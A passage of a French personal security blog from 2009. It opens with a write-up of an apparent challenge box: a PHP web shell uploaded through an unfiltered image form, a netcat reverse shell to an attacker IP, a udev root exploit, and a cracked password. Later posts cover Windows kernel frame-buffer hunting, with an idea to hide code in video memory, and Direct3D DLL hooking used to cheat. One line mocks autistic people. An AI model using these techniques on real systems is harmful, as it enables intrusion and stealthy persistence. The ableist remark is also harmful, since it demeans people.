On se log donc et on profite de l'upload d'image non filtré. les images sont stoquées dans files/, hop on up un script php avec un system($cmd). On en a fini pour la partie web, le plus intéressant arrive:

uname -a
Linux 2.6.18-92.el5 #1 SMP Tue Jun 10 18:49:47 EDT 2008 i686 i686 i386 GNU/Linux

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
fred:x:502:502::/home/john:/bin/bash

On ne peut pas se loger avec apache, ni utiliser passwd pour nous créer un compte ssh. J'upload un netcat compilé sur une autre box vu que le script d'upload filtre rien, c'est la solution la plus simple a mon gout.

Coté attaquant  : C:\>nc -v -l -p 2501
Coté victime    : ?cmd=./netcat -e /bin/sh 192.168.1.111 2501

On a un shell, il nous reste plus qu'a élever nos privilèges sur la cible :p. La faille vmsplice ne donne rien, udev par contre... L'exploitation est un peu chaude, J'ai eu recours à la solution proposé par lampsec. En gros le sploit a besoin d'un pid qu'on ne peut pas retrouver précisément. On se base sur ça:

cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks
cfc43c00 0   3153   00000111 0        0        00000000 2
cfecce00 0   0      00000000 0        0        00000000 2
cf5f8000 6   0      00000000 0        0        00000000 2
cf54b800 7   0      00000000 0        0        00000000 2
ce733e00 9   2467   00000000 0        0        00000000 2
cfe4f000 9   0      00000000 0        0        00000000 2
cfe46c00 10  0      00000000 0        0        00000000 2
cfbecc00 11  0      00000000 0        0        00000000 2
cfc43a00 15  571    ffffffff 0        0        00000000 2 
cfeccc00 15  0      00000000 0        0        00000000 2
cfbeca00 16  0      00000000 0        0        00000000 2
cfcf0200 18  0      00000000 0        0        00000000 2

Le pid utilisé dans l'exploit devrai être 571-1, en réalité ça a fonctionné avec le pid 573 donc n'hésitez pas à faire plusieurs test... J'ai modifié le script de la faille udev vu qu'on a pas de shell interactif, juste une connexion avec netcat. J'ai donc copié les fichiers /etc/shadow & /etc/passwd avec les droits de lecture pour apache. Ensuite on crack les pass obtenu à l'aide de John the ripper ce qui donne un résultat assez rapidement.
fred : fred1989

On peut donc maintenant se loger en ssh et profiter d'un vrai shell, on relance le sploit udev en le modifiant encore pour ne pas avoir d'erreur d'acces en écriture/lecture (celui si utilise des liens hardcodés donc /tmp/suid est inaccessible. On modifie donc /tmp/suid par /tmp/suidBis). On relance le sploit modifié avec cette fois si un execl("/bin/sh", "sh", NULL); et on obtient notre shell avec les droits root. :)

Il y a surement d'autres solutions, comme au niveau de roundcube ou des sessions, je n'ai pas cherché...

A la quête du frame buffer

Mysterie — Wed, 22 Jul 2009 15:08:00 +0100

C'est l'été, dehors il fait beau, les oiseaux chantent. Autant de bonne raison pour resté chez moi et coder.

Toujours à la recherche de mon frame buffer, il existe quelques méthodes pour récupérer l'adresse physique de celui-ci. Mais rien pour l'adresse virtuelle. J'ai eu l'idée d'envoyer des IOCTL au driver miniport de ma carte graph' pour qu'il me renvoi les informations que je recherche. Pour se faire j'utilise la fonction DeviceioControl() qui nécessite un handle. Ce handle on le récupère avec CreateFile("\\\\.\\DISPLAY1, ...); Sauf qu'en retour on a le droit à un beau "Access denied". ouch...

DISPLAY1 est un lien symbolique vers \Device\Video0, chaques devices est lié à un driver, sous VMware on a:

kd> !devobj Video0
Device object (8163e870) is for:
 Video0 \Driver\vmx_svga DriverObject 8164f880

kd> !drvobj vmx_svga 3
Driver object (8164f880) is for:
 \Driver\vmx_svga
Driver Extension List: (id , addr)
(8164f880 816e47f8)  
Device Object list:
8163e870  

DriverEntry:   f9eee240	vmx_svga
DriverStartIo: 00000000	
DriverUnload:  f97aa7e6	VIDEOPRT!VpDriverUnload
AddDevice:     f97ac418	VIDEOPRT!VpAddDevice

Dispatch routines:
[00] IRP_MJ_CREATE                      f97ab65c	VIDEOPRT!pVideoPortDispatch
[01] IRP_MJ_CREATE_NAMED_PIPE           805025e4	nt!IopInvalidDeviceRequest
[02] IRP_MJ_CLOSE                       f97ab65c	VIDEOPRT!pVideoPortDispatch
[03] IRP_MJ_READ                        805025e4	nt!IopInvalidDeviceRequest
[04] IRP_MJ_WRITE                       805025e4	nt!IopInvalidDeviceRequest
[05] IRP_MJ_QUERY_INFORMATION           805025e4	nt!IopInvalidDeviceRequest
[06] IRP_MJ_SET_INFORMATION             805025e4	nt!IopInvalidDeviceRequest
[07] IRP_MJ_QUERY_EA                    805025e4	nt!IopInvalidDeviceRequest
[08] IRP_MJ_SET_EA                      805025e4	nt!IopInvalidDeviceRequest
[09] IRP_MJ_FLUSH_BUFFERS               805025e4	nt!IopInvalidDeviceRequest
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    805025e4	nt!IopInvalidDeviceRequest
[0b] IRP_MJ_SET_VOLUME_INFORMATION      805025e4	nt!IopInvalidDeviceRequest
[0c] IRP_MJ_DIRECTORY_CONTROL           805025e4	nt!IopInvalidDeviceRequest
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         805025e4	nt!IopInvalidDeviceRequest
[0e] IRP_MJ_DEVICE_CONTROL              f97ab65c	VIDEOPRT!pVideoPortDispatch
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     805025e4	nt!IopInvalidDeviceRequest
[10] IRP_MJ_SHUTDOWN                    f97ab65c	VIDEOPRT!pVideoPortDispatch
[11] IRP_MJ_LOCK_CONTROL                805025e4	nt!IopInvalidDeviceRequest
[12] IRP_MJ_CLEANUP                     805025e4	nt!IopInvalidDeviceRequest
[13] IRP_MJ_CREATE_MAILSLOT             805025e4	nt!IopInvalidDeviceRequest
[14] IRP_MJ_QUERY_SECURITY              805025e4	nt!IopInvalidDeviceRequest
[15] IRP_MJ_SET_SECURITY                805025e4	nt!IopInvalidDeviceRequest
[16] IRP_MJ_POWER                       f97a7d80	VIDEOPRT!pVideoPortPowerDispatch
[17] IRP_MJ_SYSTEM_CONTROL              f979f748	VIDEOPRT!pVideoPortSystemControl
[18] IRP_MJ_DEVICE_CHANGE               805025e4	nt!IopInvalidDeviceRequest
[19] IRP_MJ_QUERY_QUOTA                 805025e4	nt!IopInvalidDeviceRequest
[1a] IRP_MJ_SET_QUOTA                   805025e4	nt!IopInvalidDeviceRequest
[1b] IRP_MJ_PNP                         f97a7150	VIDEOPRT!pVideoPortPnpDispatch

Hop un petit schéma pour les autistes:

   |                  |---------------------->| I/O Manager |
   | GDI (win32k.sys) |  GreDeviceIoControl +>| (Video0)    |    |
 +>|                  | |                   |                    |
 | Eng call             |                   |                    |
 |                      |                   |_| Video Port     |<+
 |             Ddi call |                   +>| (Videoprt.sys) | |
 |_|                  |<+                   |                    |
   | Display driver   |                     |_| Video Miniport |<+
 +>| (vmx_fb.dll)     |                       | (vmx_svga.sys) |<--+
 |          ___________________________________________            |
 |_________|             La carte Graph \o/            |___________|

Grâce a un petit script made in Invanlef0u on va pouvoir retrouver les handles qui nous intéressent. J'ai aussi codé un driver qui dump l'object table du process System.

kd>bp nt!zwopenfile ".printf \"ZwOpenFile \"; !ustr poi(poi(@esp+4+2*4)+2*4);"

// Ca break sur \Device\Video0
kd> !handle 80000478
processor number 0, process 815c3020
PROCESS 815c3020  SessionId: 0  Cid: 025c    Peb: 7ffde000  ParentCid: 0168
    DirBase: 07136000  ObjectTable: e148c9a0  HandleCount:  25.
    Image: csrss.exe

Kernel Handle table at e1539000 with 58 Entries in use
80000478: Object: 816e48e8  GrantedAccess: 00000000 Entry: e10028f0
Object: 816e48e8  Type: (817b8730) File
    ObjectHeader: 816e48d0 (old version)
        HandleCount: 1  PointerCount: 2

L'handle est ouvert avec DesiredAccess = FILE_SUPERSEDED et ShareAccess = 0. Aïe pas moyen d'interagir avec. D'ailleurs quand le device est chargé on se rend compte que le handle a été refermé, il y a juste un pointeur sur l'objet video0. Donc on ne cherche pas dans la bonne direction... :(

Il existe une fonction noyau équivalente à DeviceioControl qui est IoBuildDeviceIoControlRequest (merci Overclok pour l'indication). Elle crée des irp de type IRP_MJ_INTERNAL_DEVICE_CONTROL et IRP_MJ_DEVICE_CONTROL. C'est le deuxième type qui nous intéresse, le driver vidéo n'implante pas la première. Et pour cette fonction nul besoin d'un handle, un pointeur vers l'objet video0 suffit.

Je crée un autre bp sur la fonction IoGetDeviceObjectPointer() pour trouver ce pointeur au boot.

kd>bp nt!IoGetDeviceObjectPointer "!ustr poi(@esp+4); .printf \"\n\tFile:\"; dd poi(@esp+4+4*2) L1; .printf \"\n\tDevice:\"; dd poi(@esp+4+4*3) L1;"
kd>g
String(28,30) at f9c7ac44: \Device\Video0
 	File:f9c7ac68  f9c7ad18
 	Device:f9c7ac84  00000000
nt!IoGetDeviceObjectPointer:
805904b9 8bff            mov     edi,edi
kd>ba w 1 0xf9c7ac84

//Puis ca break le pointeur vers video0 est initialisé.
kd> dt nt!_DEVICE_OBJECT 0x816cac30
   +0x000 Type             : 3
   +0x002 Size             : 0x3a0
   +0x004 ReferenceCount   : 1
   +0x008 DriverObject     : 0x816ce488 _DRIVER_OBJECT
   +0x00c NextDevice       : (null) 
   +0x010 AttachedDevice   : (null) 
   +0x014 CurrentIrp       : (null) 
   +0x018 Timer            : (null) 
   +0x01c Flags            : 0x284c
   +0x020 Characteristics  : 0x100
   +0x024 Vpb              : (null) 
   +0x028 DeviceExtension  : 0x816cace8 
   +0x02c DeviceType       : 0x23
   +0x030 StackSize        : 2 ''
   +0x034 Queue            : __unnamed
   +0x05c AlignmentRequirement : 0
   +0x060 DeviceQueue      : _KDEVICE_QUEUE
   +0x074 Dpc              : _KDPC
   +0x094 ActiveThreadCount : 0
   +0x098 SecurityDescriptor : 0xe14b3680 
   +0x09c DeviceLock       : _KEVENT
   +0x0ac SectorSize       : 0
   +0x0ae Spare1           : 0
   +0x0b0 DeviceObjectExtension : 0x816cafd0 _DEVOBJ_EXTENSION
   +0x0b4 Reserved         : (null)

Ensuite il suffit d'envoyer un IoControlCode de type IOCTL_VIDEO_MAP_VIDEO_MEMORY avec les structures VIDEO_MEMORY et VIDEO_MEMORY_INFORMATION à zero. Et on obtient les adresses virtuelles de la mémoire vidéo et du frame buffer, dans mon cas:

Video Memory:
0xf86d8000 size: 16777216
Frame buffer:
0xf86d8000 size: 1920000

kd> dd 0xf86d8000
f86d8000  00edf6f5 00ecf5f4 00edf2f5 00ecf1f4
f86d8010  00ecf1f5 00ecf1f5 00edf0f7 00edf0f7
f86d8020  00f1f2f7 00f2f3f7 00f4f5f9 00f6f8f7
f86d8030  00f7f7f5 00f7f8f3 00f5f6f0 00f5f6f0

Voilà les premiers pixels de l'écran. Mais ce qu'il y a de plus intéressant c'est la taille du frame buffer par rapport à la taille de la mémoire vidéo. 16777216-1920000 = 14857216 octet. Donc 14,857Mo dans le kernel space non utilisé où on peut y cacher plein de chose. Étonnant non?

J'utilise ObReferenceObjectByName() fonction non documenté, avec le nom du driver miniport "vmx_svga", pour récupérai le pointeur sur le device video0. D'ailleurs grâce à cette fonction on pourrai lister tout les devices chargés, et leurs envoyé des IOCTL, moi je me suis limité à la vidéo.

Si vous voulez tester le code de votre coté, pour retrouver le nom du driver vidéo il suffit de chercher dans les registres.
HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\VIDEO clef \Device\Video0
contient un identifiant chez moi E27CB637-47DA-4B2B-8B0D-50E8CD7B9FAC. On s'en sert ensuite
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Video\{E27CB637-47DA-4B2B-8B0D-50E8CD7B9FAC}\Video et la clef Service contient le nom de notre driver miniport. Donc dans mon code il faudra remplacer le nom du driver "vmx_svga" par le votre.
Oui j'ai baclé la fin, j'éditerai surement le post pour automatiser la recherche, ou pas.

Code: framebuf.sys

D3D Hooking

Mysterie — Thu, 21 May 2009 22:38:00 +0100

En se moment je m'intéresse à la programmation Direct3D. J'ai réalisé un programme bidon qui affiche un symbole en 3d et le fait tourner sur lui même. Pas d'anti-aliasing ou autre joyeuseté du style je me suis simplement servi de vertex (une vertex/vertice pourrais se résumer à un point). Le but de ce programme est d'avoir une base pour réaliser ensuite un hook sur la fonction manipulant les vertex et leurs informations histoire de retrouver les couleurs et coordonnées des points du symbole affiché.

Chaque point de la figure est stoqué dans un tableau de CUSTOMVERTEX, la structure CUSTOMVERTEX est défini par la méthode SetFVF() qui se trouve dans l'objet IDirect3DDevice9. Je défini mon point par D3DFVF_XYZ|D3DFVF_DIFFUSE se qui représente { (float)X, (float)Y, (float)Z, (DWORD)color, }

Une autre méthode intéressante est SetStreamSource() faisant partie du même objet, elle va aller toucher au buffer contenant touts les points, et cela à chaque fois qu'on affiche une image. Il suffit donc d'injecter une dll dans le programme et de retrouver IDirect3DDevice9::SetStreamSource() pour la hooker. Sauf que l'objet IDirect3DDevice9 est en mémoire, où? impossible à savoir de l'extérieur.

Le code important dans le programme est:

// (LPDIRECT3DDEVICE9)		gPd3dDevice
// (LPDIRECT3DVERTEXBUFFER9)	gVertexBuff

// Préparation du vertex buffer
gPd3dDevice->SetStreamSource(0, gVertexBuff, 0, sizeof(CUSTOMVERTEX)); 
// Définition de la taille d'un point/vertex
gPd3dDevice->SetFVF(D3DFVF_XYZ|D3DFVF_DIFFUSE); 
// on dessine un premier triangle
gPd3dDevice->DrawPrimitive(D3DPT_TRIANGLESTRIP, 0, 1);
// puis le second... et ainsi de suite pour avoir le symbole 
gPd3dDevice->DrawPrimitive(D3DPT_TRIANGLESTRIP, 3, 1);

Voici la version assembleur pour l'appel à
gPd3dDevice->SetStreamSource(0, gVertexBuff, 0, sizeof(CUSTOMVERTEX));


mov   edx,dword ptr ds:[gVertexBuff] ; on met l'adresse de gVertexBuff dans edx
mov   eax,dword ptr ds:[gPd3dDevice] ; on met l'adresse de gPd3dDevice dans eax
mov   ecx,dword ptr ds:[eax] ; ecx pointe vers la table de fonction de l'objet DIRECT3DDEVICE9
push  10 ; Stride (taille d'un point/vertex) 0x10 = 16 = DWORD*4
push  0 ; Offset
push  edx ; l'adresse de gVertexBuff
push  0 ; StreamNumber
push  eax ; l'adresse de gPd3dDevice
mov   eax,dword ptr ds:[ecx+190] ; 64eme fonction de l'objet d3dDevice
call  eax ; gPd3dDevice->SetStreamSource(0, edx, 0, 10);

Donc l'objet IDirect3DDevice9 contient une table de fonction, la fonction SetStreamSource est la 64eme et fait référence au module d3d9.dll. En cherchant un peu je retrouve comment est initialisé l'objet. En fait il se base sur une autre table de fonction qui se situe aussi dans le module d3d9.dll et dont SetStreamSource est la 134eme fonction. Comme je ne peux pas savoir comment est structuré l'objet en mémoire je me baserai sur la table de fonction de d3d9.dll pour retrouver SetStreamSource.

La table se situe dans la section .text à l'offset 0x15C38, C'est hardcodé donc c'est moche et ça ne marchera que pour certaine version de la librairie. mais je suis obliger de procéder de cette manière car SetStreamSource n'est pas exporté. D'ailleurs la plupart des codes que j'ai trouvé utilisent des offset.
Sinon il y a plusieurs alternatives, dont le hook de l'IAT sur des fonctions de type d3d8thk.* qui sont d'anciennes fonctions de d3d8.dll utilisés dans la version neuf par souci de compatibilité. ou encore hooker la fonction Direct3DCreate9 qui elle est exporté.

Je préfère procéder par un hook inline, sodomite inside. Donc la DLL que je vais injecté vas retrouver SetStreamSource(), la rediriger vers une fonction intermédiaire qui aura pour but de récupérer les arguments de la pile. Comme la DLL injecté fait partie d'un nouveau thread je vais faire un Sleep(100). Les autres thread du programme vont avoir le temps de s'exécuter et d'utiliser ma fonction hooké et c'est gagné. Après le Sleep() j'aurai accès au argument de SetStreamSource().

On aura donc l'adresse des objets IDirect3DDevice9, IDirect3DVertexBuffer9 ainsi qu'a la taille du CUSTOMVERTEX. Ensuite on utilise les objets comme s'ils nous appartenaient. Donc pour avoir accès aux fameux points de la figure il suffit de faire un:

// pVertices contiendra l'adresse du début de la mémoire ou sont stoqué les vertex
// gVertexBuff représente l'objet IDirect3DVertexBuffer9
gVertexBuff->Lock(0, vertexSize, (void **)&pVertices, 0);
gVertexBuff->Unlock();

Ensuite on peut manipuler ces objets à volonté, lire/changer la position des points, la couleur etc... Le code est disponible mais ça reste un PoC, je change juste la couleur du symbole rien d'extraordinaire. J'ai surtout fait ça pour cheater à l'iut :] For Aiur!

Version de d3d9: 5.3.2600.2180
Le programme: d3d.exe - source
La dll à injecter: d3d.dll - source
Le screen: ici

Aujourd'hui c'est coloriage.

Mysterie — Sat, 02 May 2009 12:50:00 +0100

Je me suis demandé comment fonctionnait l'affichage sous windows (afficher un pixel à l'écran). Quand j'ai fait mes premiers pas en assembleur je me suis amusé à afficher une lettre, c'était sous win98 grâce au mode cga qu'on obtient avec ces instructions INT 10h / AH 6h. Puis j'ai essayé de lancer le même code sous XP et la c'est le drame, rien. Depuis windows xp & co il y a eu pas mal de changement et mon programme ne fonctionne plus. En réalité on ne peut plus lire/écrire directement dans la mémoire physique réservée au mode cga car:

Les systèmes d'exploitation actuels utilisent un mécanisme de mémoire virtuelle.
L'espace mémoire en question se situe après l'adresse 0x7ffeffff (Ring 0).

Je me suis mis à la recherche de la mémoire vidéo, le mode cga n'étant plus utilisé depuis longtemps. Une des façons de procéder est d'écrire un driver (pour accéder au noyau) et d'envoyer des requêtes au bus pci pour trouver la carte graphique et ses caractéristiques. Je me suis basé sur un article de rAsM à lire absolument si vous voulez comprendre le code. J'ai ajouté des KeAcquireSpinLock et KeReleaseSpinLock histoire de ne pas avoir de surprise avec les READ/WRITE_PORT.

Le code du driver, Le résultat:

Base address #0 (BAR0) // domaines de port I/O
Physical [0x1401 - 0x1411]
Base address #1 (BAR1) // 1er partie de la mémoire vidéo
Physical [0xf0000000 - 0xf8000000]
Base address #2 (BAR2) // 2eme partie de la mémoire vidéo
Physical [0xec000000 - 0xec800000]

Bien sûr se sont des adresses physique, on peu ensuite utiliser la fonction MmMapIoSpace pour y accéder mais sa reviendrai à faire une copie de la mémoire physique vers la mémoire virtuelle et on se retrouve avec DEUX buffer vidéo en ram :/.
Alors on vas essayer de retrouver le premier qui est déjà en mémoire. J'ai donc fait un programme en C qui affiche un pixel rose en haut à gauche de l'écran.

//Rien de complexe pour le programme.

HDC hScreenDC;
hScreenDC = GetDC(0); // screen
DWORD color = 0x00FF00FF; // rose :}
SetPixel(hScreenDC, 0, 0, color);
ReleaseDC(0, hScreenDC);

Et ensuite je débugge tout ça, donc dans notre programme on commence par un appel a la fonction SetPixel qui se trouve dans gdi32.dll. La GDI permet de faire le lien entre les applications et les pilotes graphiques. et à la fin de gdi32!SetPixel on as un appel à une petite routine assez spécifique:

mov eax, 111Ah
mov edx, 7FFE0300h
call dword ptr [edx] ; ntdll!KiFastSystemCall

Pour ceux qui n'ont pas compris la subtilité de ses quelques instructions, en fait on a un appel à KiFastSystemCall() avec comme argument 0x111A. Puis vient le SYSENTER et on entre dans le noyau (pas directement bien sûr), la fonction KiFastCallEntry() récupère notre argument puis on passe par la fonction KiSystemService() qui va se charger de trouver la fonction équivalente a 0x111A. Ce numéro ne représente pas vraiment une fonction, je pense qu'il y a un 0x1000 AND 0x111A, pour indiquer si on a affaire à la SSDT ou à la SSDT Shadow.

0: kd> dd nt!KeServiceDescriptorTableShadow l 0x8
805614c0 804e48b0 00000000 0000011c 80517fc4
805614d0 bf999c00 00000000 0000029b bf99a910

On voit bien que le nombre de fonction dans la SSDT Shadow est de 0x29b, donc 0x111A c'est trop grand. Par contre après avoir viré ce 0x1000 on se retrouve avec le numéro 0x11A et là ça le fait.

0: kd> dd bf999c00 l 0x11b
...
bf99a060 bf949a50 bf841b72 bf8751a3
0: kd> ln bf8751a3
(bf8751a3) win32k!NtGdiSetPixel

Le nom de la fonction est assez explicite, elle fait appel a de moult autre fonctions dans win32k.sys. je trace un peu tout ça pour en ressortir les fonctions qui nous intéressent.

// arbre d'appel
win32k!NtGdiSetPixel 
 -> win32k!SURFACE::pfnBitBlt 
  -> win32k!SpBitBlt 
   -> win32k!OffBitBlt
    -> win32k!CLIPOBJ_vOffset
     -> win32k!EngBitBlt 
      -> win32k!PDEVOBJ::vSync 
       -> win32k!vDIBSolidBlt
        -> win32k!vSolidFillRect1 
// code qui rox
mov eax,dword ptr [ebp+18h] ; eax=00ff00ff code de la couleur
mov dword ptr [edi],eax ; edi=f9234000 adresse pointant dans la mémoire vidéo.

Je vérifie que cette adresse corresponde bien à l'adresse physique 0xf0000000.

0: kd> !vtop 0 f9234000
X86VtoP: Virt f9234000, pagedir d4a6000
X86VtoP: PDE d4a6f90 - 01014163
X86VtoP: PTE 10148d0 - f000017b
X86VtoP: Mapped phys f0000000
Virtual address f9234000 translates to physical address f0000000.

Woot! Je ne sais pas comment procède windows pour retrouver l'adresse 0xf9234000 (si quelqu'un peu m'éclairer). Par contre je m'aperçois qu'après f9234000+1D4C00 (1D4C00 = 800*600*4 la résolution de l'écran) la mémoire est à zéro, de 0xf9408c00 à 0xf9434000 se qui fait 177ko de libre. Vu la place je pense à la technique du Shadow Walker, le principe serai de faire croire au système que les pages non utilisées de la mémoire vidéo sont swappées. On pourrai y cacher du code ou des datas. Mais cette technique commence à dater et nécessite un hook dans l'idt ce qui peut être détectable. Et dans le cas où l'utilisateur changerai sa résolution d'écran il y aurai surement un conflit, dommage...

"We're all mad here. I'm mad. You're mad." said the Cheshire Cat

Mysterie — Thu, 19 Mar 2009 22:48:00 +0000

Je me suis enfin décidé à virer mon vieux blog, codé par mes soins il y a maintenant plusieurs années. Et cela pour en ouvrir un nouveau, exposant mes pérégrinations dans le vaste monde de l'informatique.

En espérant que cela vous plaise.